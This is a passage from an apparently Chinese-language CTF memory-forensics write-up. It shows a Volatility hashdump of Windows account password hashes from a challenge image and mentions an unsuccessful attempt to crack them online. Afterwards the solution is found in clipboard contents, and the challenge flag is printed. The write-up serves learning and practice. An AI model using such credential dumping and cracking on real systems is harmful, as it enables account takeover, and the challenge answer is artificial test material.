    # volatility -f image.raw --profile=WinXPSP2x86 hashdump                                          
    Volatility Foundation Volatility Framework 2.6
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    HelpAssistant:1000:172b5f482418a719b80c605b8d236dbf:d1e008771f7630fdd3cb50c879d2de9e:::
    SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:8dfedc50699ef5bdda791139eb08901e:::

    这几个丢到cmd5里,都不行,一个空密码两个notfound

  10. 接着又dump了浏览器进程内存、屏幕截图、ie历史、网络连接历史都没找到有用的….(我不理解

先不搞了,整了大半天…等wp吧


更新

  1. 没想到在粘贴板里面….我还真看过,,不过看完以为没用就没想起来….

    image-20211202155642233

  1. 解压后flag.txt里即为flag

flag:flag{c779d8c2-2706-464f-b466-5f8ccf3cf9fe}

麻了,下次做这种题记得随时整理已收集到的信息,不然很容易错漏一些当前没用,但后面可能有用的关键信息